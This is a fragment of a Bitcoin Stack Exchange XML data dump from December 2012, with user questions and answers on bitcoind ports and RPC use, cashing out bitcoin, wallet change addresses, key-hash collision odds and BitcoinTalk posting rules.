3.0" />
  <row Id="5725" PostTypeId="2" ParentId="5721" CreationDate="2012-12-11T16:27:33.547" Score="0" Body="&lt;p&gt;Comment with the command lines you used to launch &lt;code&gt;bitcoind&lt;/code&gt; and &lt;code&gt;namecoind&lt;/code&gt; and I might be able to provide a better answer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Proto  Local Address          Foreign Address        State&#xA;  TCP    0.0.0.0:8332           0.0.0.0:0              LISTENING&#xA; [bitcoind.exe]&#xA;  TCP    0.0.0.0:8333           0.0.0.0:0              LISTENING&#xA; [bitcoind.exe]&#xA;  TCP    0.0.0.0:8334           0.0.0.0:0              LISTENING&#xA; [namecoind.exe]&#xA;  TCP    0.0.0.0:8336           0.0.0.0:0              LISTENING&#xA; [namecoind.exe]&#xA;  TCP    0.0.0.0:18332          0.0.0.0:0              LISTENING&#xA; [bitcoind.exe]&#xA;  TCP    0.0.0.0:18333          0.0.0.0:0              LISTENING&#xA; [bitcoind.exe]&#xA;  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING&#xA; [wininit.exe]&#xA;  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING&#xA;  eventlog&#xA; [services.exe]&#xA;  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING&#xA; [svchost.exe]&#xA;&#xA;&amp;lt;snip&amp;gt;&#xA;&#xA; TCP    [::]:80                [::]:0                 LISTENING&#xA; [bitcoind.exe]&#xA;  TCP    [::]:8333              [::]:0                 LISTENING&#xA; [bitcoind.exe]&#xA;  TCP    [::]:18332             [::]:0                 LISTENING&#xA; [bitcoind.exe]&#xA;  TCP    [::]:18333             [::]:0                 LISTENING&#xA; [bitcoind.exe]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I snipped out the outbound connections so we can focus on the listening sockets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm making some assumptions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You're either running several copies of the daemons or you're listening on multiple ports. IIRC, 8333 is the sync port and 8332 is the RPC port for &lt;code&gt;bitcoind&lt;/code&gt;, 8336 and 8334, respectively, for &lt;code&gt;namedcoind&lt;/code&gt;. The second &lt;code&gt;bitcoind&lt;/code&gt; is running on 18332/18333, right?&lt;/li&gt;&#xA;&lt;li&gt;You're running the latest version and you downloaded it from an official source.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can you tell which process owns the port 80 listener? It's only listening for IPv6 connections on port 80. I think there's a &lt;code&gt;netstat&lt;/code&gt; option to show the owning PID as well as process name.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-12-11T16:27:33.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5726" PostTypeId="1" CreationDate="2012-12-11T18:31:20.800" Score="8" ViewCount="1834" Body="&lt;p&gt;I run a small business online.  I am interested in using Bitcoin to accept monies from my customers but to be honest the whole thing has me a bit confused.  I am in the UK how would I be able to exchange my Bitcoins for £ sterling and then subsequently spend it?  &lt;/p&gt;&#xA;" OwnerUserId="2410" LastEditorUserId="51948" LastEditDate="2017-12-24T03:17:09.737" LastActivityDate="2017-12-24T03:17:09.737" Title="How do I withdraw my bitcoins and spend them?" Tags="|exchanges|sell-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5727" PostTypeId="2" ParentId="5726" CreationDate="2012-12-11T18:50:13.313" Score="6" Body="&lt;p&gt;Trade them for USD, GBP or EUR on a trading site such as &lt;a href=&quot;https://mtgox.com&quot;&gt;https://mtgox.com&lt;/a&gt; and transfer it to your bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can spend them directly at any other business that accepts bitcoins as payment.&lt;/p&gt;&#xA;" OwnerUserId="2411" LastActivityDate="2012-12-11T18:50:13.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5728" PostTypeId="2" ParentId="5715" CreationDate="2012-12-11T20:03:52.977" Score="3" Body="&lt;p&gt;Just adding to the other answers. A transaction is still bound to a block and the block hash still has to match with the transaction included. However, when more transactions are added, the next attempt will create the hash of a different block. Using this new hash with the previous block will not be accepted by the network. So from what I gather, when attempting the hashing, they not only change the nonce but the data as well. The probability to succeed is the same either way. &lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2012-12-11T20:03:52.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5729" PostTypeId="1" AcceptedAnswerId="5732" CreationDate="2012-12-11T21:04:23.330" Score="1" ViewCount="136" Body="&lt;p&gt;The message signing feature available in the Bitcoin-Qt client lets me prove that I own a Bitcoin address.  I don't wish for this address to ever be used for a future transaction however.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can get the private key (and address) removed from the key pool so that it will not end up being assigned when I click &quot;New Address&quot; or used for the change address in some future transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what is the command and syntax?  (Presuming I do this from the debug window).&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-12T01:45:30.440" Title="How to remove an address used for signing from the key pool?" Tags="|wallet|address|message-signing|message-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5730" PostTypeId="2" ParentId="5622" CreationDate="2012-12-11T21:05:27.107" Score="0" Body="&lt;p&gt;The progress is being tracked through the &quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Improvement_Proposals&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Improvement Proposal&lt;/a&gt;&quot;.  There is a grid of several new features that may or may not make it into a future version of the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0001&quot; rel=&quot;nofollow&quot;&gt;Learn about the BIP submission process here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-11T21:05:27.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5731" PostTypeId="2" ParentId="5726" CreationDate="2012-12-11T21:36:57.393" Score="5" Body="&lt;p&gt;If you use a payment processor such as &lt;a href=&quot;http://bitpay.com&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt; or &lt;a href=&quot;http://walletbit.com&quot; rel=&quot;nofollow&quot;&gt;WalletBit&lt;/a&gt;, they will take care of the conversion to fiat for you (for a fee, of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use e-commerce software and manage the exchange to fiat yourself.  That's what &lt;a href=&quot;http://coindl.com&quot; rel=&quot;nofollow&quot;&gt;CoinDL&lt;/a&gt;, for instance, does using a Bitcoin module for OpenCart &lt;a href=&quot;http://en.bitcoin.it/wiki/Category%3aShopping_Cart_Interfaces&quot; rel=&quot;nofollow&quot;&gt;e-commerce software&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might also be a number of &lt;a href=&quot;http://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;goods and services&lt;/a&gt; you would use where bitcoins are accepted for payment.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-12T05:31:03.480" LastActivityDate="2012-12-12T05:31:03.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5732" PostTypeId="2" ParentId="5729" CreationDate="2012-12-12T01:45:30.440" Score="1" Body="&lt;p&gt;I am not a developer, but I believe that once you assign or create the address in a new account (you can name the account &quot;Signing Key&quot;), and then don't touch the account, this address will never be reused. Except only after there are some bitcoins sent to it.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastActivityDate="2012-12-12T01:45:30.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5733" PostTypeId="1" CreationDate="2012-12-12T01:58:07.813" Score="6" ViewCount="4324" Body="&lt;p&gt;How do I use bitcoind through Terminal on Mac OSX? I think this is not adressed by these questions, but honestly, I'm not sure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2570/bitcoin-qt-command-line-control-on-mac&quot;&gt;Bitcoin-Qt command line control on Mac&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/793/what-are-the-steps-in-building-bitcoind-on-mac-os-x-10-6&quot;&gt;What are the steps in building bitcoind on Mac OS X 10.6?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-09-10T01:38:08.960" Title="Accesing bitcoind through terminal on mac" Tags="|bitcoind|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5734" PostTypeId="2" ParentId="5714" CreationDate="2012-12-12T02:01:13.167" Score="1" Body="&lt;p&gt;It uses RAND_load_file function from OpenSSL, which accepts any binary input - random bytes. Under Linux and OSX the /dev/random file can be used, I don't know  equivalent under Windows. However, OpenSSL uses /dev/random by default, so there is no improvement using it explicitly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only scenario might be when you need faster random numbers generator, as /dev/random is quite slow and you start vanitygen very often. Then you can for example use /dev/urandom (but in this case you expose yourself to small but perhaps exploitable possibility that the seeds for generated addresses will be related). Certified hardware random numbers generators would be preferred in this case (some recent Intel and VIA CPUs have one).&lt;/p&gt;&#xA;" OwnerUserId="1545" LastActivityDate="2012-12-12T02:01:13.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5735" PostTypeId="1" CreationDate="2012-12-12T02:43:36.767" Score="20" ViewCount="2517" Body="&lt;p&gt;I am planning on doing some small-time buying/selling with a friend who is in the States. I am in Argentina and I do not have a way of reimbursing him in Dollars for products that he buys, sends to me, then I sell. Product and Dollar restrictions are very bad here right now, but there has to be a way to bypass these so we can do business together. Any help or advice is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2414" LastEditorUserId="5406" LastEditDate="2015-05-09T11:59:43.310" LastActivityDate="2015-05-09T11:59:43.310" Title="Can I use bitcoin as a means of bypassing Argentine Dollar restrictions?" Tags="|exchanges|trading|usa|argentina|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5736" PostTypeId="2" ParentId="5735" CreationDate="2012-12-12T03:10:54.687" Score="7" Body="&lt;p&gt;Yes, you could reimburse your friend with Bitcoin provided that you can find someone who is willing to sell you bitcoins in exchange for your local currency. However, when the demand for such transactions is strongly one sided in a particular region, the exchange rates may not be particularly favourable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question might be of interest for finding someone to trade with:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3614/516&quot;&gt;Is there a forum-like exchange for trading Bitcoins person-to-person?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the USA, your friend should have little trouble converting the bitcoins back to USD.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-12-12T03:10:54.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5738" PostTypeId="2" ParentId="5735" CreationDate="2012-12-12T03:26:07.023" Score="0" Body="&lt;p&gt;Yes, but it will cut into your profits. You could make use of something like &lt;a href=&quot;https://localbitcoins.com/location/ARG/Buenos%20Aires/&quot; rel=&quot;nofollow&quot;&gt;localbitcoins&lt;/a&gt; and your partner could do the same. You would be the first in Argentina.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2012-12-12T03:26:07.023" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5739" PostTypeId="2" ParentId="5735" CreationDate="2012-12-12T06:01:05.643" Score="9" Body="&lt;p&gt;Put up an ad on &lt;a href=&quot;http://localbitcoins.com&quot;&gt;LocalBitcoins.com&lt;/a&gt;.  You possibly might find a tourist arriving with bitcoins who is looking for Argentine pesos.  Or perhaps you'll find a local Bitcoin miner who is simply looking to cash out some bitcoins for your pesos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any goods that you could pay for with your pesos and then have the goods shipped to a buyer who pays using bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might laugh, but you might find buyers for Argentine pesos sent via the mail.  If there's a market for the Zimbabwe 100 trillion dollar note, there's probably buyers wanting a set of &lt;a href=&quot;http://www.argentinatravelpictures.com/Argentine-Currency-ARS-Peso/Argentine-Currency-ARS-Pesos-002.html&quot;&gt;your paper banknotes&lt;/a&gt; (for novelty, or maybe even speculation -- who knows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, travelers are a resource for you.  For instance, even while visiting a foreign country a traveler might have family or friend back home that would be able to &lt;a href=&quot;http://en.bitcoin.it/wiki/BitMe#USD&quot;&gt;deposit cash&lt;/a&gt; for the purpose of buying bitcoins.  The typical traveler might not need this, but if for instance, the traveler wants to buy a larger valued item and the seller only accepts cash then the traveler is in a bind.  You are simply helping the traveler convert paper money (e.g., USDs) in one country for a different paper money (ARS) in another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also follow the &lt;a href=&quot;http://bitcointalk.org/index.php?board=31.0&quot;&gt;Spanish&lt;/a&gt; board on BitcoinTalk forum to find others who might wish to trade by selling bitcoins to you.  Or find some Argentine merchants who accept bitcoin (like &lt;a href=&quot;http://www.wplg.com.ar&quot;&gt;this&lt;/a&gt;, &lt;a href=&quot;http://www.teresapiacentino.com&quot;&gt;this&lt;/a&gt; or &lt;a href=&quot;http://www.bairesclases.com.ar/espanol&quot;&gt;this&lt;/a&gt;) and see if they have coins and are looking to trade.   Or find a merchant that does a lot of export and convince that merchant to begin accepting bitcoins.  When they do, you've found your supply of coins.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-12T08:07:24.630" LastActivityDate="2012-12-12T08:07:24.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5740" PostTypeId="1" AcceptedAnswerId="5742" CreationDate="2012-12-12T06:18:20.317" Score="4" ViewCount="1446" Body="&lt;p&gt;As Bitcoin vanity pools become more popular, the possibility of using that power to derive &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5747/1878&quot;&gt;another person's Base58 public key hash&lt;/a&gt; becomes slightly more likely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know if anyone has done the math calculating probability of guessing a public key hash vs keys generated per hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular this information would be useful to defenders (and attackers) of accounts with large balances... Namely it may make sense from a risk avoidance strategy to keep large balances spread among several accounts for this reason&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;So the question is, what is the horsepower required needed to crack someone else's key hash and what are the mitigating circumstances such as ASIC or FPGA availability? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If someone wants to take this a step further what is the maximum balance that should be held in an account based on those previous statistics&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-12-12T14:41:23.813" Title="What's the probability of vanity pools causing RIPEMD-160 (public key hash) collisions?" Tags="|mining-pools|vanity-address|balance|risk-mitigation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5741" PostTypeId="2" ParentId="5733" CreationDate="2012-12-12T06:18:27.390" Score="1" Body="&lt;p&gt;Per Gavin Andresen's answer on the first post to which you linked, Bitcoin-Qt for Mac &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2612/1409&quot;&gt;does not ship with bitcoind&lt;/a&gt;. However, you can still access it with &lt;code&gt;curl&lt;/code&gt; or &lt;code&gt;wget&lt;/code&gt;, or using the provided Python wrapper. See the post for more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are adamant about using &lt;code&gt;bitcoind&lt;/code&gt; itself, your best bet is to compile your own &lt;code&gt;bitcoind&lt;/code&gt; using &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5253/1409&quot;&gt;my instructions&lt;/a&gt; or using the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;instructions provided in the source distribution of bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-09-10T01:38:08.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5742" PostTypeId="2" ParentId="5740" CreationDate="2012-12-12T06:44:02.973" Score="8" Body="&lt;p&gt;Bitcoin addresses are 160-bit numbers. Hence, randomly finding a private key corresponding to an address takes on average 2^160 attempts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If 4 billion computers work on cracking a key doing 1 billion calculations per second for 15 billion years, they will find a total of 1.8*10^36 keys, so their chance to hit a right one is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1.8*10^36)/(2^160) = 1.23 * 10^(-12)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is one in a trillion. And this is only if they intentionally try to crack keys. If they just run normal vanity calculations, it doesn't matter how many keys they go over, as they'll eventually report just one key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future (when the above figures may be slightly less ridicuolous), we might move on to longer key hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, there's no risk.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-12-12T10:54:45.930" LastActivityDate="2012-12-12T10:54:45.930" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5743" PostTypeId="2" ParentId="4136" CreationDate="2012-12-12T11:42:11.657" Score="7" Body="&lt;p&gt;Though the terminiology is unclear, in code &quot;label&quot; and &quot;account&quot; are the same thing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;importprivkey&lt;/code&gt; function (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/738835d7b8ab80bd0812805f197471c54c72d7f9/src/rpcdump.cpp#L60&quot;&gt;&lt;code&gt;src/rpcdump.cpp&lt;/code&gt;&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pwalletMain-&amp;gt;SetAddressBookName(vchAddress, strLabel);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from &lt;code&gt;getnewaddress&lt;/code&gt; function (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/ad525e9c8fa2b15f1afe6b7284de638a090e891a/src/rpcwallet.cpp#L112&quot;&gt;&lt;code&gt;src/rpcwallet.cpp&lt;/code&gt;&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pwalletMain-&amp;gt;SetAddressBookName(keyID, strAccount);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2012-12-12T11:42:11.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5744" PostTypeId="2" ParentId="3561" CreationDate="2012-12-12T12:25:57.323" Score="3" Body="&lt;p&gt;First, setup add the following to your &lt;code&gt;bitcoin.conf&lt;/code&gt; to enable RPC (of course, you can use other values):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=user &#xA;rpcpassword=Pa55w0rd&#xA;rpcport=8333&#xA;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, restart bitcoin and use following command to get IPs of all peers connected (you can probably make the parser part shorter by using perl instead of grep/sed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;USER=user&#xA;PASSWORD=Pa55w0rd&#xA;PORT=8333&#xA;curl --user $USER:$PASSWORD --data-binary \&#xA;'{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;getpeerinfo&quot;, &quot;params&quot;: [] }' \&#xA;-H 'content-type: text/plain;' http://127.0.0.1:$PORT/ 2&amp;gt;/dev/null \&#xA;| grep -o '&quot;addr&quot;:&quot;[^&quot;]\+&quot;' | cut -d&quot;:&quot; -f2-3 | sed 's/^&quot;//;s/&quot;$//'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2012-12-12T12:25:57.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5745" PostTypeId="1" AcceptedAnswerId="5748" CreationDate="2012-12-12T12:50:25.643" Score="4" ViewCount="759" Body="&lt;p&gt;I'm new to bitcoin, downloaded the bitcoin.org client, encrypted my wallet, and purchase a few bitcoins (5.25), for learning purposes.  But now my coins seem to have disappeared to an unknown address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can follow the chain here:&#xA;&lt;a href=&quot;http://blockchain.info/address/14Z4C6Bu2DXHcaRkoqKDhY72BE74PRA8Vt&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blockchain.info/address/14Z4C6Bu2DXHcaRkoqKDhY72BE74PRA8Vt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I did:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Purchased 5.25 BTC from online exchange&lt;/li&gt;&#xA;&lt;li&gt;Sent .01 BTC to my Armory address for a test&lt;/li&gt;&#xA;&lt;li&gt;Sent .095 BTC back&lt;/li&gt;&#xA;&lt;li&gt;Sent .01 BTC back to my Armory address again&lt;/li&gt;&#xA;&lt;li&gt;Sent .095 BTC back again&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And in my bitcoin client it showed all these transaction correctly (screenshot below).  Today I ran it and it seems my blockchain files are corrupted so I start downloading the blockchain again. Meanwhile I check blockchain.info on my address and find that actually when I did my first transaction, (.01BTC) at the same time the entire balance of my wallet was sent to some mystery address (16oc97Z4RRRanyt8bB3RT84XSemZL7KXkg and coins have since been transferred again to another account which would appear to rule out the idea of me randomly sending them to the wrong address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I swear I checked the blockchain details religiously for the week after my initial transaction and this transaction was never there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where did this transaction come from?  It never showed up in my bitcoin client, even though I kept it synced for weeks after my initial transaction.  Were these coins somehow hacked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using my own private computer at all times (and never any online wallets etc...)  I have various antivirus/firewalls installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2uflp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2297" LastActivityDate="2018-10-19T23:47:47.693" Title="What happened to my coins, hacked?" Tags="|security|hacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5746" PostTypeId="1" CreationDate="2012-12-12T12:53:37.593" Score="7" ViewCount="569" Body="&lt;p&gt;I'm benchmarking some Bitcoin related software and am looking for cards that are better at parallel multiplication vs parallel addition.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any prior work that may have this information? Perhaps for mining?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What GPU features should I look for?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I read that FPGAs may offer this ability, are any available?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-12T15:35:56.943" LastActivityDate="2014-01-10T03:28:34.440" Title="What OpenCL video cards (or FPGAs) are best for multiplication?" Tags="|development|gpu|encryption|cryptography|open-source|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5747" PostTypeId="1" AcceptedAnswerId="5749" CreationDate="2012-12-12T12:59:17.523" Score="4" ViewCount="745" Body="&lt;p&gt;If two different public keys had the same Base 58 hash, what would happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could one key spend money in the other account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would happen to the monies received by the shared base58 hash?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-19T21:09:42.170" LastActivityDate="2019-06-14T03:28:03.900" Title="What would happen if two public keys had the same Base58 hash?" Tags="|public-key|hash|base58check|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5748" PostTypeId="2" ParentId="5745" CreationDate="2012-12-12T14:04:40.610" Score="6" Body="&lt;p&gt;Don't worry, you've not been hacked. &lt;a href=&quot;http://blockchain.info/address/16oc97Z4RRRanyt8bB3RT84XSemZL7KXkg&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; is just one of your wallet's change addresses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Change&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/736/how-does-change-work-in-a-bitcoin-transaction&quot;&gt;How does change work in a bitcoin transaction?&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1629/why-does-bitcoin-send-the-change-to-a-different-address&quot;&gt;Why does Bitcoin send the &amp;quot;change&amp;quot; to a different address?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-12-12T14:12:23.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5749" PostTypeId="2" ParentId="5747" CreationDate="2012-12-12T14:31:51.810" Score="9" Body="&lt;p&gt;Then both of the people could spend the same coins if they were sent to their Address, rather than public key. If they instead received the money to the public keys, they couldn't spend eachother's coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, the most important thing that would happen is that they would show RIPEMD-160 collision, which would most likely be the first one ever. A pretty improbable sight.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-12T14:31:51.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5750" PostTypeId="1" AcceptedAnswerId="18494" CreationDate="2012-12-12T15:03:35.233" Score="10" ViewCount="12910" Body="&lt;p&gt;I created an account with Bitcoin talk, logged in, and don't see any option to reply to existing threads or create new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the ability to &quot;watch&quot;, &quot;notify&quot;, etc. but I don't see an option that allows me to reply.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also checked the &quot;My Profile&quot; tab to see if there is any validation I need to do to authorize my account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I've also logged out and logged back into the forum using different browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-04-10T08:43:47.703" Title="How do I post in BitcoinTalk?" Tags="|bitcointalk|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5751" PostTypeId="2" ParentId="5750" CreationDate="2012-12-12T15:08:45.923" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=15958.0&quot;&gt;Newbie restrictions&lt;/a&gt; - you need to be logged in for 4 hours and post 5 posts to the Newbie section in order to be allowed elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-12T15:08:45.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5752" PostTypeId="2" ParentId="5750" CreationDate="2012-12-12T15:10:37.547" Score="3" Body="&lt;p&gt;BitcoinTalk has a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=15958.0&quot; rel=&quot;nofollow&quot;&gt;newbie policy&lt;/a&gt; that requires users to have completed these criteria in order to post in forums other than the &lt;a href=&quot;https://bitcointalk.org/index.php?board=39.0&quot; rel=&quot;nofollow&quot;&gt;newbie forum&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;4 hours online&lt;/li&gt;&#xA;&lt;li&gt;5 posts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you've already made significant contributions to the Bitcoin community outside of BitcoinTalk, then you can seek &lt;a href=&quot;https://bitcointalk.org/index.php?topic=15911.0&quot; rel=&quot;nofollow&quot;&gt;whitelisting&lt;/a&gt;, or excusal from the newbie policy.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-12-12T15:10:37.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
